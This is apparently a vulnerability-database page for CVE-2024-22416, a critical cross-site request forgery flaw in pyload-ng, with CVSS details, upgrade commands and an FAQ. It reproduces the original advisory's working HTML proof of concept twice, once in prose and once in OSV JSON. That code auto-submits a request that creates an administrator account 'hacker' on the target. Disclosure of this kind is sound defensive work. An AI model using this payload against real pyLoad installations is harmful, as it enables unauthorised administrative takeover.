CVE-2024-22416: Pyload ng Cross-Site Request Forgery On Any Vulnerability

CRITICAL
Advisory Identifier: GHSA-pgpj-v85q-h5fm
CVSS 9.6
CWE-352
Published
Advisory Summary

CVE-2024-22416 is a CRITICAL (CVSS 9.6) cross-site request forgery on any vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Pyload ng libraries in the PyPI ecosystem. The issue involves cross-site request forgery on any api call in pyload may lead to admin privilege escalation. Remediation is available by upgrading affected packages to version 0.5.0b3.dev78.

CVE-2024-22416 at a Glance

CVE Identifier CVE-2024-22416
GHSA Identifier GHSA-pgpj-v85q-h5fm
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Pyload ng
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2024-22416

To remediate this vulnerability, upgrade all affected Pyload ng dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pyload-ng fixed: 0.5.0b3.dev78
pip install pyload-ng>=0.5.0b3.dev78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pyload-ng

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-22416, inspect your installed packages using pip:

pip show pyload-ng

Analyze the terminal output to locate any version of Pyload ng in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.0b3.dev78), your application is affected.

Note: The pip show pyload-ng command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Pyload ng, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application. ![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png) The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`. ![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png) ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.

CVE-2024-22416 Affected Pyload ng Versions

1 component(s)
Fixed Versions:
0.5.0b3.dev78
Product / Package Ecosystem Affected Versions Fixed Version
pyload-ng
PyPI
< 0.5.0b3.dev78
0.5.0b3.dev78

References

Frequently Asked Questions

What is CVE-2024-22416?
CVE-2024-22416 is a security vulnerability in Pyload ng involving Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation under CWE-352: Cross-Site Request Forgery (CSRF).
Which Pyload ng versions are affected?
Affected versions include releases prior to 0.5.0b3.dev78 across affected packages: pyload-ng.
What version fixes CVE-2024-22416?
Upgrading to 0.5.0b3.dev78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pyload-ng affected?
Yes, pyload-ng is affected in releases prior to 0.5.0b3.dev78. Upgrade your dependency to 0.5.0b3.dev78 or later.
What is the CVSS score of CVE-2024-22416?
CVE-2024-22416 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2024-22416?
CVE-2024-22416 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2024-22416?
Run the dependency tree command: 'pip show pyload-ng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgpj-v85q-h5fm",
  "modified" : "2024-10-21T21:06:20Z",
  "published" : "2024-01-19T15:27:12Z",
  "aliases" : [ "CVE-2024-22416" ],
  "summary" : "Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation",
  "details" : "### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\">\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev78"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-22416"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-19T15:27:12Z",
    "nvd_published_at" : "2024-01-18T00:15:38Z"
  }
}